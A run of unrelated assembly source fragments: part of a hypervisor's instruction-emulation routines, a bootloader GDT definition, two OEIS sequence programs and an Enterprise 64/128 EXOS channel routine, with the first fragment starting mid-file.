08h] ; edx = second parameter %endif ; switch on size %ifdef CAN_DO_8_BYTE_OP cmp al, 8 je short .do_qword ; 8 bytes variant %endif cmp al, 4 je short .do_dword ; 4 bytes variant cmp al, 2 je short .do_word ; 2 byte variant cmp al, 1 je short .do_byte ; 1 bytes variant int3 ; workers %ifdef RT_ARCH_AMD64 .do_qword: xor [MY_PTR_REG], rdx ; do 8 bytes XOR jmp short .done %endif .do_dword: xor [MY_PTR_REG], edx ; do 4 bytes XOR jmp short .done .do_word: xor [MY_PTR_REG], dx ; do 2 bytes XOR jmp short .done .do_byte: xor [MY_PTR_REG], dl ; do 1 byte XOR ; collect flags and return. .done: pushf pop MY_RET_REG retn ENDPROC EMEmulateXor ;; ; Emulate LOCK XOR instruction. ; VMMDECL(int) EMEmulateLockXor(void *pvParam1, uint64_t u64Param2, size_t cbSize, RTGCUINTREG32 *pf); ; ; @returns VINF_SUCCESS on success, VERR_ACCESS_DENIED on \#PF (GC only). ; @param [esp + 04h] gcc:rdi msc:rcx Param 1 - First parameter - pointer to data item (the real stuff). ; @param [esp + 08h] gcc:rsi msc:rdx Param 2 - Second parameter- the immediate / register value. ; @param [esp + 10h] gcc:rdx msc:r8 Param 3 - Size of the operation - 1, 2, 4 or 8 bytes. ; @param [esp + 14h] gcc:rcx msc:r9 Param 4 - Where to store the eflags on success. ; only arithmetic flags are valid. align 16 BEGINPROC EMEmulateLockXor %ifdef RT_ARCH_AMD64 %ifdef RT_OS_WINDOWS mov rax, r8 ; eax = size of parameters %else ; !RT_OS_WINDOWS mov r9, rcx ; r9 = eflags result ptr mov rax, rdx ; rax = size of parameters mov rcx, rdi ; rcx = first parameter mov rdx, rsi ; rdx = second parameter %endif ; !RT_OS_WINDOWS %else ; !RT_ARCH_AMD64 mov eax, [esp + 10h] ; eax = size of parameters mov ecx, [esp + 04h] ; ecx = first parameter (MY_PTR_REG) mov edx, [esp + 08h] ; edx = second parameter %endif ; switch on size %ifdef CAN_DO_8_BYTE_OP cmp al, 8 je short .do_qword ; 8 bytes variant %endif cmp al, 4 je short .do_dword ; 4 bytes variant cmp al, 2 je short .do_word ; 2 byte variant cmp al, 1 je short .do_byte ; 1 bytes variant int3 ; workers %ifdef RT_ARCH_AMD64 .do_qword: lock xor [MY_PTR_REG], rdx ; do 8 bytes OR jmp short .done %endif .do_dword: lock xor [MY_PTR_REG], edx ; do 4 bytes OR jmp short .done .do_word: lock xor [MY_PTR_REG], dx ; do 2 bytes OR jmp short .done .do_byte: lock xor [MY_PTR_REG], dl ; do 1 byte OR ; collect flags and return. .done: pushf %ifdef RT_ARCH_AMD64 pop rax mov [r9], eax %else ; !RT_ARCH_AMD64 mov eax, [esp + 14h + 4] pop dword [eax] %endif mov eax, VINF_SUCCESS retn ENDPROC EMEmulateLockXor ;; ; Emulate INC instruction, CDECL calling conv. ; VMMDECL(uint32_t) EMEmulateInc(void *pvParam1, size_t cb); ; ; @returns EFLAGS after the operation, only arithmetic flags are valid. ; @param [esp + 04h] rdi rcx Param 1 - First parameter - pointer to data item. ; @param [esp + 08h] rsi rdx Param 2 - Size of parameters, only 1/2/4 is valid. ; @uses eax, ecx, edx ; align 16 BEGINPROC EMEmulateInc %ifdef RT_ARCH_AMD64 %ifdef RT_OS_WINDOWS mov rax, rdx ; eax = size of parameters %else ; !RT_OS_WINDOWS mov rax, rsi ; eax = size of parameters mov rcx, rdi ; rcx = first parameter %endif ; !RT_OS_WINDOWS %else ; !RT_ARCH_AMD64 mov eax, [esp + 08h] ; eax = size of parameters mov ecx, [esp + 04h] ; ecx = first parameter %endif ; switch on size %ifdef RT_ARCH_AMD64 cmp al, 8 je short .do_qword ; 8 bytes variant %endif cmp al, 4 je short .do_dword ; 4 bytes variant cmp al, 2 je short .do_word ; 2 byte variant cmp al, 1 je short .do_byte ; 1 bytes variant int3 ; workers %ifdef RT_ARCH_AMD64 .do_qword: inc qword [MY_PTR_REG] ; do 8 bytes INC jmp short .done %endif .do_dword: inc dword [MY_PTR_REG] ; do 4 bytes INC jmp short .done .do_word: inc word [MY_PTR_REG] ; do 2 bytes INC jmp short .done .do_byte: inc byte [MY_PTR_REG] ; do 1 byte INC jmp short .done ; collect flags and return. .done: pushf pop MY_RET_REG retn ENDPROC EMEmulateInc ;; ; Emulate DEC instruction, CDECL calling conv. ; VMMDECL(uint32_t) EMEmulateDec(void *pvParam1, size_t cb); ; ; @returns EFLAGS after the operation, only arithmetic flags are valid. ; @param [esp + 04h] Param 1 - First parameter - pointer to data item. ; @param [esp + 08h] Param 2 - Size of parameters, only 1/2/4 is valid. ; @uses eax, ecx, edx ; align 16 BEGINPROC EMEmulateDec %ifdef RT_ARCH_AMD64 %ifdef RT_OS_WINDOWS mov rax, rdx ; eax = size of parameters %else ; !RT_OS_WINDOWS mov rax, rsi ; eax = size of parameters mov rcx, rdi ; rcx = first parameter %endif ; !RT_OS_WINDOWS %else ; !RT_ARCH_AMD64 mov eax, [esp + 08h] ; eax = size of parameters mov ecx, [esp + 04h] ; ecx = first parameter %endif ; switch on size %ifdef RT_ARCH_AMD64 cmp al, 8 je short .do_qword ; 8 bytes variant %endif cmp al, 4 je short .do_dword ; 4 bytes variant cmp al, 2 je short .do_word ; 2 byte variant cmp al, 1 je short .do_byte ; 1 bytes variant int3 ; workers %ifdef RT_ARCH_AMD64 .do_qword: dec qword [MY_PTR_REG] ; do 8 bytes DEC jmp short .done %endif .do_dword: dec dword [MY_PTR_REG] ; do 4 bytes DEC jmp short .done .do_word: dec word [MY_PTR_REG] ; do 2 bytes DEC jmp short .done .do_byte: dec byte [MY_PTR_REG] ; do 1 byte DEC jmp short .done ; collect flags and return. .done: pushf pop MY_RET_REG retn ENDPROC EMEmulateDec ;; ; Emulate ADD instruction, CDECL calling conv. ; VMMDECL(uint32_t) EMEmulateAdd(void *pvParam1, uint64_t u64Param2, size_t cb); ; ; @returns EFLAGS after the operation, only arithmetic flags are valid. ; @param [esp + 04h] Param 1 - First parameter - pointer to data item. ; @param [esp + 08h] Param 2 - Second parameter. ; @param [esp + 10h] Param 3 - Size of parameters, only 1/2/4/8 (64 bits host only) is valid. ; @uses eax, ecx, edx ; align 16 BEGINPROC EMEmulateAdd %ifdef RT_ARCH_AMD64 %ifdef RT_OS_WINDOWS mov rax, r8 ; eax = size of parameters %else ; !RT_OS_WINDOWS mov rax, rdx ; rax = size of parameters mov rcx, rdi ; rcx = first parameter mov rdx, rsi ; rdx = second parameter %endif ; !RT_OS_WINDOWS %else ; !RT_ARCH_AMD64 mov eax, [esp + 10h] ; eax = size of parameters mov ecx, [esp + 04h] ; ecx = first parameter mov edx, [esp + 08h] ; edx = second parameter %endif ; switch on size %ifdef CAN_DO_8_BYTE_OP cmp al, 8 je short .do_qword ; 8 bytes variant %endif cmp al, 4 je short .do_dword ; 4 bytes variant cmp al, 2 je short .do_word ; 2 byte variant cmp al, 1 je short .do_byte ; 1 bytes variant int3 ; workers %ifdef RT_ARCH_AMD64 .do_qword: add [MY_PTR_REG], rdx ; do 8 bytes ADD jmp short .done %endif .do_dword: add [MY_PTR_REG], edx ; do 4 bytes ADD jmp short .done .do_word: add [MY_PTR_REG], dx ; do 2 bytes ADD jmp short .done .do_byte: add [MY_PTR_REG], dl ; do 1 byte ADD ; collect flags and return. .done: pushf pop MY_RET_REG retn ENDPROC EMEmulateAdd ;; ; Emulate ADC instruction, CDECL calling conv. ; VMMDECL(uint32_t) EMEmulateAdcWithCarrySet(void *pvParam1, uint64_t u64Param2, size_t cb); ; ; @returns EFLAGS after the operation, only arithmetic flags are valid. ; @param [esp + 04h] Param 1 - First parameter - pointer to data item. ; @param [esp + 08h] Param 2 - Second parameter. ; @param [esp + 10h] Param 3 - Size of parameters, only 1/2/4/8 (64 bits host only) is valid. ; @uses eax, ecx, edx ; align 16 BEGINPROC EMEmulateAdcWithCarrySet %ifdef RT_ARCH_AMD64 %ifdef RT_OS_WINDOWS mov rax, r8 ; eax = size of parameters %else ; !RT_OS_WINDOWS mov rax, rdx ; rax = size of parameters mov rcx, rdi ; rcx = first parameter mov rdx, rsi ; rdx = second parameter %endif ; !RT_OS_WINDOWS %else ; !RT_ARCH_AMD64 mov eax, [esp + 10h] ; eax = size of parameters mov ecx, [esp + 04h] ; ecx = first parameter mov edx, [esp + 08h] ; edx = second parameter %endif ; switch on size %ifdef CAN_DO_8_BYTE_OP cmp al, 8 je short .do_qword ; 8 bytes variant %endif cmp al, 4 je short .do_dword ; 4 bytes variant cmp al, 2 je short .do_word ; 2 byte variant cmp al, 1 je short .do_byte ; 1 bytes variant int3 ; workers %ifdef RT_ARCH_AMD64 .do_qword: stc ; set carry flag adc [MY_PTR_REG], rdx ; do 8 bytes ADC jmp short .done %endif .do_dword: stc ; set carry flag adc [MY_PTR_REG], edx ; do 4 bytes ADC jmp short .done .do_word: stc ; set carry flag adc [MY_PTR_REG], dx ; do 2 bytes ADC jmp short .done .do_byte: stc ; set carry flag adc [MY_PTR_REG], dl ; do 1 byte ADC ; collect flags and return. .done: pushf pop MY_RET_REG retn ENDPROC EMEmulateAdcWithCarrySet ;; ; Emulate SUB instruction, CDECL calling conv. ; VMMDECL(uint32_t) EMEmulateSub(void *pvParam1, uint64_t u64Param2, size_t cb); ; ; @returns EFLAGS after the operation, only arithmetic flags are valid. ; @param [esp + 04h] Param 1 - First parameter - pointer to data item. ; @param [esp + 08h] Param 2 - Second parameter. ; @param [esp + 10h] Param 3 - Size of parameters, only 1/2/4/8 (64 bits host only) is valid. ; @uses eax, ecx, edx ; align 16 BEGINPROC EMEmulateSub %ifdef RT_ARCH_AMD64 %ifdef RT_OS_WINDOWS mov rax, r8 ; eax = size of parameters %else ; !RT_OS_WINDOWS mov rax, rdx ; rax = size of parameters mov rcx, rdi ; rcx = first parameter mov rdx, rsi ; rdx = second parameter %endif ; !RT_OS_WINDOWS %else ; !RT_ARCH_AMD64 mov eax, [esp + 10h] ; eax = size of parameters mov ecx, [esp + 04h] ; ecx = first parameter mov edx, [esp + 08h] ; edx = second parameter %endif ; switch on size %ifdef CAN_DO_8_BYTE_OP cmp al, 8 je short .do_qword ; 8 bytes variant %endif cmp al, 4 je short .do_dword ; 4 bytes variant cmp al, 2 je short .do_word ; 2 byte variant cmp al, 1 je short .do_byte ; 1 bytes variant int3 ; workers %ifdef RT_ARCH_AMD64 .do_qword: sub [MY_PTR_REG], rdx ; do 8 bytes SUB jmp short .done %endif .do_dword: sub [MY_PTR_REG], edx ; do 4 bytes SUB jmp short .done .do_word: sub [MY_PTR_REG], dx ; do 2 bytes SUB jmp short .done .do_byte: sub [MY_PTR_REG], dl ; do 1 byte SUB ; collect flags and return. .done: pushf pop MY_RET_REG retn ENDPROC EMEmulateSub ;; ; Emulate BTR instruction, CDECL calling conv. ; VMMDECL(uint32_t) EMEmulateBtr(void *pvParam1, uint64_t u64Param2); ; ; @returns EFLAGS after the operation, only arithmetic flags are valid. ; @param [esp + 04h] Param 1 - First parameter - pointer to data item. ; @param [esp + 08h] Param 2 - Second parameter. ; @uses eax, ecx, edx ; align 16 BEGINPROC EMEmulateBtr %ifdef RT_ARCH_AMD64 %ifndef RT_OS_WINDOWS mov rcx, rdi ; rcx = first parameter mov rdx, rsi ; rdx = second parameter %endif ; !RT_OS_WINDOWS %else ; !RT_ARCH_AMD64 mov ecx, [esp + 04h] ; ecx = first parameter mov edx, [esp + 08h] ; edx = second parameter %endif and edx, 7 btr [MY_PTR_REG], edx ; collect flags and return. pushf pop MY_RET_REG retn ENDPROC EMEmulateBtr ;; ; Emulate LOCK BTR instruction. ; VMMDECL(int) EMEmulateLockBtr(void *pvParam1, uint64_t u64Param2, RTGCUINTREG32 *pf); ; ; @returns VINF_SUCCESS on success, VERR_ACCESS_DENIED on \#PF (GC only). ; @param [esp + 04h] gcc:rdi msc:rcx Param 1 - First parameter - pointer to data item (the real stuff). ; @param [esp + 08h] gcc:rsi msc:rdx Param 2 - Second parameter- the immediate / register value. (really an 8 byte value) ; @param [esp + 10h] gcc:rdx msc:r8 Param 3 - Where to store the eflags on success. ; align 16 BEGINPROC EMEmulateLockBtr %ifdef RT_ARCH_AMD64 %ifdef RT_OS_WINDOWS mov rax, r8 ; rax = third parameter %else ; !RT_OS_WINDOWS mov rcx, rdi ; rcx = first parameter mov rax, rdx ; rax = third parameter mov rdx, rsi ; rdx = second parameter %endif ; !RT_OS_WINDOWS %else ; !RT_ARCH_AMD64 mov ecx, [esp + 04h] ; ecx = first parameter mov edx, [esp + 08h] ; edx = second parameter mov eax, [esp + 10h] ; eax = third parameter %endif lock btr [MY_PTR_REG], edx ; collect flags and return. pushf pop xDX mov [xAX], edx mov eax, VINF_SUCCESS retn ENDPROC EMEmulateLockBtr ;; ; Emulate BTC instruction, CDECL calling conv. ; VMMDECL(uint32_t) EMEmulateBtc(void *pvParam1, uint64_t u64Param2); ; ; @returns EFLAGS after the operation, only arithmetic flags are valid. ; @param [esp + 04h] Param 1 - First parameter - pointer to data item. ; @param [esp + 08h] Param 2 - Second parameter. ; @uses eax, ecx, edx ; align 16 BEGINPROC EMEmulateBtc %ifdef RT_ARCH_AMD64 %ifndef RT_OS_WINDOWS mov rcx, rdi ; rcx = first parameter mov rdx, rsi ; rdx = second parameter %endif ; !RT_OS_WINDOWS %else ; !RT_ARCH_AMD64 mov ecx, [esp + 04h] ; ecx = first parameter mov edx, [esp + 08h] ; edx = second parameter %endif and edx, 7 btc [MY_PTR_REG], edx ; collect flags and return. pushf pop MY_RET_REG retn ENDPROC EMEmulateBtc ;; ; Emulate BTS instruction, CDECL calling conv. ; VMMDECL(uint32_t) EMEmulateBts(void *pvParam1, uint64_t u64Param2); ; ; @returns EFLAGS after the operation, only arithmetic flags are valid. ; @param [esp + 04h] Param 1 - First parameter - pointer to data item. ; @param [esp + 08h] Param 2 - Second parameter. ; @uses eax, ecx, edx ; align 16 BEGINPROC EMEmulateBts %ifdef RT_ARCH_AMD64 %ifndef RT_OS_WINDOWS mov rcx, rdi ; rcx = first parameter mov rdx, rsi ; rdx = second parameter %endif ; !RT_OS_WINDOWS %else ; !RT_ARCH_AMD64 mov ecx, [esp + 04h] ; ecx = first parameter mov edx, [esp + 08h] ; edx = second parameter %endif and edx, 7 bts [MY_PTR_REG], edx ; collect flags and return. pushf pop MY_RET_REG retn ENDPROC EMEmulateBts ;; ; Emulate LOCK CMPXCHG instruction, CDECL calling conv. ; VMMDECL(uint32_t) EMEmulateLockCmpXchg(void *pvParam1, uint64_t *pu64Param2, uint64_t u64Param3, size_t cbSize); ; ; @returns EFLAGS after the operation, only arithmetic flags are valid. ; @param [esp + 04h] gcc:rdi msc:rcx Param 1 - First parameter - pointer to first parameter ; @param [esp + 08h] gcc:rsi msc:rdx Param 2 - pointer to second parameter (eax) ; @param [esp + 0ch] gcc:rdx msc:r8 Param 3 - third parameter ; @param [esp + 14h] gcc:rcx msc:r9 Param 4 - Size of parameters, only 1/2/4/8 is valid ; @uses eax, ecx, edx ; align 16 BEGINPROC EMEmulateLockCmpXchg push xBX %ifdef RT_ARCH_AMD64 %ifdef RT_OS_WINDOWS ; rcx contains the first parameter already mov rbx, rdx ; rdx = 2nd parameter mov rdx, r8 ; r8 = 3rd parameter mov rax, r9 ; r9 = size of parameters %else mov rax, rcx ; rcx = size of parameters (4th) mov rcx, rdi ; rdi = 1st parameter mov rbx, rsi ; rsi = second parameter ;rdx contains the 3rd parameter already %endif ; !RT_OS_WINDOWS %else ; !RT_ARCH_AMD64 mov ecx, [esp + 04h + 4] ; ecx = first parameter mov ebx, [esp + 08h + 4] ; ebx = 2nd parameter (eax) mov edx, [esp + 0ch + 4] ; edx = third parameter mov eax, [esp + 14h + 4] ; eax = size of parameters %endif %ifdef CAN_DO_8_BYTE_OP cmp al, 8 je short .do_qword ; 8 bytes variant %endif cmp al, 4 je short .do_dword ; 4 bytes variant cmp al, 2 je short .do_word ; 2 byte variant cmp al, 1 je short .do_byte ; 1 bytes variant int3 %ifdef RT_ARCH_AMD64 .do_qword: ; load 2nd parameter's value mov rax, qword [rbx] lock cmpxchg qword [rcx], rdx ; do 8 bytes CMPXCHG mov qword [rbx], rax jmp short .done %endif .do_dword: ; load 2nd parameter's value mov eax, dword [xBX] lock cmpxchg dword [xCX], edx ; do 4 bytes CMPXCHG mov dword [xBX], eax jmp short .done .do_word: ; load 2nd parameter's value mov eax, dword [xBX] lock cmpxchg word [xCX], dx ; do 2 bytes CMPXCHG mov word [xBX], ax jmp short .done .do_byte: ; load 2nd parameter's value mov eax, dword [xBX] lock cmpxchg byte [xCX], dl ; do 1 byte CMPXCHG mov byte [xBX], al .done: ; collect flags and return. pushf pop MY_RET_REG pop xBX retn ENDPROC EMEmulateLockCmpXchg ;; ; Emulate CMPXCHG instruction, CDECL calling conv. ; VMMDECL(uint32_t) EMEmulateCmpXchg(void *pvParam1, uint64_t *pu32Param2, uint64_t u32Param3, size_t cbSize); ; ; @returns EFLAGS after the operation, only arithmetic flags are valid. ; @param [esp + 04h] gcc:rdi msc:rcx Param 1 - First parameter - pointer to first parameter ; @param [esp + 08h] gcc:rsi msc:rdx Param 2 - pointer to second parameter (eax) ; @param [esp + 0ch] gcc:rdx msc:r8 Param 3 - third parameter ; @param [esp + 14h] gcc:rcx msc:r9 Param 4 - Size of parameters, only 1/2/4 is valid. ; @uses eax, ecx, edx ; align 16 BEGINPROC EMEmulateCmpXchg push xBX %ifdef RT_ARCH_AMD64 %ifdef RT_OS_WINDOWS ; rcx contains the first parameter already mov rbx, rdx ; rdx = 2nd parameter mov rdx, r8 ; r8 = 3rd parameter mov rax, r9 ; r9 = size of parameters %else mov rax, rcx ; rcx = size of parameters (4th) mov rcx, rdi ; rdi = 1st parameter mov rbx, rsi ; rsi = second parameter ;rdx contains the 3rd parameter already %endif ; !RT_OS_WINDOWS %else ; !RT_ARCH_AMD64 mov ecx, [esp + 04h + 4] ; ecx = first parameter mov ebx, [esp + 08h + 4] ; ebx = 2nd parameter (eax) mov edx, [esp + 0ch + 4] ; edx = third parameter mov eax, [esp + 14h + 4] ; eax = size of parameters %endif %ifdef CAN_DO_8_BYTE_OP cmp al, 8 je short .do_qword ; 8 bytes variant %endif cmp al, 4 je short .do_dword ; 4 bytes variant cmp al, 2 je short .do_word ; 2 byte variant cmp al, 1 je short .do_byte ; 1 bytes variant int3 %ifdef RT_ARCH_AMD64 .do_qword: ; load 2nd parameter's value mov rax, qword [rbx] cmpxchg qword [rcx], rdx ; do 8 bytes CMPXCHG mov qword [rbx], rax jmp short .done %endif .do_dword: ; load 2nd parameter's value mov eax, dword [xBX] cmpxchg dword [xCX], edx ; do 4 bytes CMPXCHG mov dword [xBX], eax jmp short .done .do_word: ; load 2nd parameter's value mov eax, dword [xBX] cmpxchg word [xCX], dx ; do 2 bytes CMPXCHG mov word [xBX], ax jmp short .done .do_byte: ; load 2nd parameter's value mov eax, dword [xBX] cmpxchg byte [xCX], dl ; do 1 byte CMPXCHG mov byte [xBX], al .done: ; collect flags and return. pushf pop MY_RET_REG pop xBX retn ENDPROC EMEmulateCmpXchg ;; ; Emulate LOCK CMPXCHG8B instruction, CDECL calling conv. ; VMMDECL(uint32_t) EMEmulateLockCmpXchg8b(void *pu32Param1, uint32_t *pEAX, uint32_t *pEDX, uint32_t uEBX, uint32_t uECX); ; ; @returns EFLAGS after the operation, only the ZF flag is valid. ; @param [esp + 04h] gcc:rdi msc:rcx Param 1 - First parameter - pointer to first parameter ; @param [esp + 08h] gcc:rsi msc:rdx Param 2 - Address of the eax register ; @param [esp + 0ch] gcc:rdx msc:r8 Param 3 - Address of the edx register ; @param [esp + 10h] gcc:rcx msc:r9 Param 4 - EBX ; @param [esp + 14h] gcc:r8 msc:[rsp + 8] Param 5 - ECX ; @uses eax, ecx, edx ; align 16 BEGINPROC EMEmulateLockCmpXchg8b push xBP push xBX %ifdef RT_ARCH_AMD64 %ifdef RT_OS_WINDOWS mov rbp, rcx mov r10, rdx mov eax, dword [rdx] mov edx, dword [r8] mov rbx, r9 mov ecx, [rsp + 28h + 16] %else mov rbp, rdi mov r10, rdx mov eax, dword [rsi] mov edx, dword [rdx] mov rbx, rcx mov rcx, r8 %endif %else mov ebp, [esp + 04h + 8] ; ebp = first parameter mov eax, [esp + 08h + 8] ; &EAX mov eax, dword [eax] mov edx, [esp + 0ch + 8] ; &EDX mov edx, dword [edx] mov ebx, [esp + 10h + 8] ; EBX mov ecx, [esp + 14h + 8] ; ECX %endif %ifdef RT_OS_OS2 lock cmpxchg8b [xBP] ; do CMPXCHG8B %else lock cmpxchg8b qword [xBP] ; do CMPXCHG8B %endif %ifdef RT_ARCH_AMD64 %ifdef RT_OS_WINDOWS mov dword [r10], eax mov dword [r8], edx %else mov dword [rsi], eax mov dword [r10], edx %endif %else mov ebx, dword [esp + 08h + 8] mov dword [ebx], eax mov ebx, dword [esp + 0ch + 8] mov dword [ebx], edx %endif ; collect flags and return. pushf pop MY_RET_REG pop xBX pop xBP retn ENDPROC EMEmulateLockCmpXchg8b ;; ; Emulate CMPXCHG8B instruction, CDECL calling conv. ; VMMDECL(uint32_t) EMEmulateCmpXchg8b(void *pu32Param1, uint32_t *pEAX, uint32_t *pEDX, uint32_t uEBX, uint32_t uECX); ; ; @returns EFLAGS after the operation, only arithmetic flags are valid. ; @param [esp + 04h] gcc:rdi msc:rcx Param 1 - First parameter - pointer to first parameter ; @param [esp + 08h] gcc:rsi msc:rdx Param 2 - Address of the eax register ; @param [esp + 0ch] gcc:rdx msc:r8 Param 3 - Address of the edx register ; @param [esp + 10h] gcc:rcx msc:r9 Param 4 - EBX ; @param [esp + 14h] gcc:r8 msc:[rsp + 8] Param 5 - ECX ; @uses eax, ecx, edx ; align 16 BEGINPROC EMEmulateCmpXchg8b push xBP push xBX %ifdef RT_ARCH_AMD64 %ifdef RT_OS_WINDOWS mov rbp, rcx mov r10, rdx mov eax, dword [rdx] mov edx, dword [r8] mov rbx, r9 mov ecx, [rsp + 28h + 16] %else mov rbp, rdi mov r10, rdx mov eax, dword [rsi] mov edx, dword [rdx] mov rbx, rcx mov rcx, r8 %endif %else mov ebp, [esp + 04h + 8] ; ebp = first parameter mov eax, [esp + 08h + 8] ; &EAX mov eax, dword [eax] mov edx, [esp + 0ch + 8] ; &EDX mov edx, dword [edx] mov ebx, [esp + 10h + 8] ; EBX mov ecx, [esp + 14h + 8] ; ECX %endif %ifdef RT_OS_OS2 cmpxchg8b [xBP] ; do CMPXCHG8B %else cmpxchg8b qword [xBP] ; do CMPXCHG8B %endif %ifdef RT_ARCH_AMD64 %ifdef RT_OS_WINDOWS mov dword [r10], eax mov dword [r8], edx %else mov dword [rsi], eax mov dword [r10], edx %endif %else mov ebx, dword [esp + 08h + 8] mov dword [ebx], eax mov ebx, dword [esp + 0ch + 8] mov dword [ebx], edx %endif ; collect flags and return. pushf pop MY_RET_REG pop xBX pop xBP retn ENDPROC EMEmulateCmpXchg8b ;; ; Emulate LOCK XADD instruction. ; VMMDECL(uint32_t) EMEmulateLockXAdd(void *pvParam1, void *pvParam2, size_t cbOp); ; ; @returns (eax=)eflags ; @param [esp + 04h] gcc:rdi msc:rcx Param 1 - First parameter - pointer to data item. ; @param [esp + 08h] gcc:rsi msc:rdx Param 2 - Second parameter - pointer to second parameter (general register) ; @param [esp + 0ch] gcc:rdx msc:r8 Param 3 - Size of parameters - {1,2,4,8}. ; align 16 BEGINPROC EMEmulateLockXAdd %ifdef RT_ARCH_AMD64 %ifdef RT_OS_WINDOWS mov rax, r8 ; eax = size of parameters %else ; !RT_OS_WINDOWS mov rax, rdx ; rax = size of parameters mov rcx, rdi ; rcx = first parameter mov rdx, rsi ; rdx = second parameter %endif ; !RT_OS_WINDOWS %else ; !RT_ARCH_AMD64 mov eax, [esp + 0ch] ; eax = size of parameters mov ecx, [esp + 04h] ; ecx = first parameter mov edx, [esp + 08h] ; edx = second parameter %endif ; switch on size %ifdef CAN_DO_8_BYTE_OP cmp al, 8 je short .do_qword ; 8 bytes variant %endif cmp al, 4 je short .do_dword ; 4 bytes variant cmp al, 2 je short .do_word ; 2 byte variant cmp al, 1 je short .do_byte ; 1 bytes variant int3 ; workers %ifdef RT_ARCH_AMD64 .do_qword: mov rax, qword [xDX] ; load 2nd parameter's value lock xadd qword [MY_PTR_REG], rax ; do 8 bytes XADD mov qword [xDX], rax jmp short .done %endif .do_dword: mov eax, dword [xDX] ; load 2nd parameter's value lock xadd dword [MY_PTR_REG], eax ; do 4 bytes XADD mov dword [xDX], eax jmp short .done .do_word: mov eax, dword [xDX] ; load 2nd parameter's value lock xadd word [MY_PTR_REG], ax ; do 2 bytes XADD mov word [xDX], ax jmp short .done .do_byte: mov eax, dword [xDX] ; load 2nd parameter's value lock xadd byte [MY_PTR_REG], al ; do 1 bytes XADD mov byte [xDX], al .done: ; collect flags and return. pushf pop MY_RET_REG retn ENDPROC EMEmulateLockXAdd ;; ; Emulate XADD instruction. ; VMMDECL(uint32_t) EMEmulateXAdd(void *pvParam1, void *pvParam2, size_t cbOp); ; ; @returns eax=eflags ; @param [esp + 04h] gcc:rdi msc:rcx Param 1 - First parameter - pointer to data item. ; @param [esp + 08h] gcc:rsi msc:rdx Param 2 - Second parameter - pointer to second parameter (general register) ; @param [esp + 0ch] gcc:rdx msc:r8 Param 3 - Size of parameters - {1,2,4,8}. align 16 BEGINPROC EMEmulateXAdd %ifdef RT_ARCH_AMD64 %ifdef RT_OS_WINDOWS mov rax, r8 ; eax = size of parameters %else ; !RT_OS_WINDOWS mov rax, rdx ; rax = size of parameters mov rcx, rdi ; rcx = first parameter mov rdx, rsi ; rdx = second parameter %endif ; !RT_OS_WINDOWS %else ; !RT_ARCH_AMD64 mov eax, [esp + 0ch] ; eax = size of parameters mov ecx, [esp + 04h] ; ecx = first parameter mov edx, [esp + 08h] ; edx = second parameter %endif ; switch on size %ifdef CAN_DO_8_BYTE_OP cmp al, 8 je short .do_qword ; 8 bytes variant %endif cmp al, 4 je short .do_dword ; 4 bytes variant cmp al, 2 je short .do_word ; 2 byte variant cmp al, 1 je short .do_byte ; 1 bytes variant int3 ; workers %ifdef RT_ARCH_AMD64 .do_qword: mov rax, qword [xDX] ; load 2nd parameter's value xadd qword [MY_PTR_REG], rax ; do 8 bytes XADD mov qword [xDX], rax jmp short .done %endif .do_dword: mov eax, dword [xDX] ; load 2nd parameter's value xadd dword [MY_PTR_REG], eax ; do 4 bytes XADD mov dword [xDX], eax jmp short .done .do_word: mov eax, dword [xDX] ; load 2nd parameter's value xadd word [MY_PTR_REG], ax ; do 2 bytes XADD mov word [xDX], ax jmp short .done .do_byte: mov eax, dword [xDX] ; load 2nd parameter's value xadd byte [MY_PTR_REG], al ; do 1 bytes XADD mov byte [xDX], al .done: ; collect flags and return. pushf pop MY_RET_REG retn ENDPROC EMEmulateXAdd
; Global Descriptor Table ; empty segment because GDT starts with that GDT_start: ; don't remove the labels, they're needed to compute sizes and jumps ; the GDT starts with a null 8-byte dd 0x0 ; 4 byte dd 0x0 ; 4 byte ; code segment GDT_code: dw 0xffff ; segment length, bits 0-15 dw 0x0 ; segment base, bits 0-15 db 0x0 ; segment base, bits 16-23 db 10011010b ; flags (8 bits) db 11001111b ; flags (4 bits) + segment length, bits 16-19 db 0x0 ; segment base, bits 24-31 ; data segment, same as GDT_code except for one flag GDT_data: dw 0xffff dw 0x0 db 0x0 db 10010010b ; flag differs from code segment db 11001111b db 0x0 GDT_end: GDT_descriptor: dw GDT_end - GDT_start - 1 ; size (16 bit), always one less of its true size dd GDT_start ; address (32 bit) ; offsets to the segments in the GDT CODE_SEG equ GDT_code - GDT_start DATA_SEG equ GDT_data - GDT_start
; A074993: a(n) = floor((concatenation of n, n+1)/2). ; 0,6,11,17,22,28,33,39,44,455,505,556,606,657,707,758,808,859,909,960,1010,1061,1111,1162,1212,1263,1313,1364,1414,1465,1515,1566,1616,1667,1717,1768,1818,1869,1919,1970,2020,2071,2121,2172,2222,2273,2323,2374 seq $0,127421 ; Numbers whose decimal expansion is a concatenation of 2 consecutive increasing nonnegative numbers. div $0,2
; A270804: 0 followed by the positions of the 1's in the inverse Thue-Morse sequence A270803. ; 0,1,2,7,8,9,10,31,32,33,34,39,40,41,42,127,128,129,130,135,136,137,138,159,160,161,162,167,168,169,170,511,512,513,514,519,520,521,522,543,544,545,546,551,552,553,554,639,640,641,642,647,648,649,650,671,672,673,674,679,680,681,682,2047 mov $2,$0 mov $4,$0 lpb $4 mov $0,$2 sub $4,1 sub $0,$4 lpb $0 mov $3,$0 add $0,5 mod $0,2 add $3,1 gcd $3,128 lpe pow $3,2 mov $5,$3 div $5,3 add $1,$5 lpe
; ; Enterprise 64/128 specific routines ; by Stefano Bodrato, 2011 ; ; exos_capture_channel(unsigned char main_channel, unsigned char secondary_channel); ; ; ; $Id: exos_capture_channel_callee.asm,v 1.4 2016-06-19 20:17:32 dom Exp $ ; SECTION code_clib PUBLIC exos_capture_channel_callee PUBLIC _exos_capture_channel_callee PUBLIC asm_exos_capture_channel exos_capture_channel_callee: _exos_capture_channel_callee: pop hl pop de ex (sp),hl ; enter : l = main channel number ; e = secondary channel number .asm_exos_capture_channel ld a,l ; main channel ld c,e ; sec. ch rst 30h defb 17 ld h,0 ld l,a ret
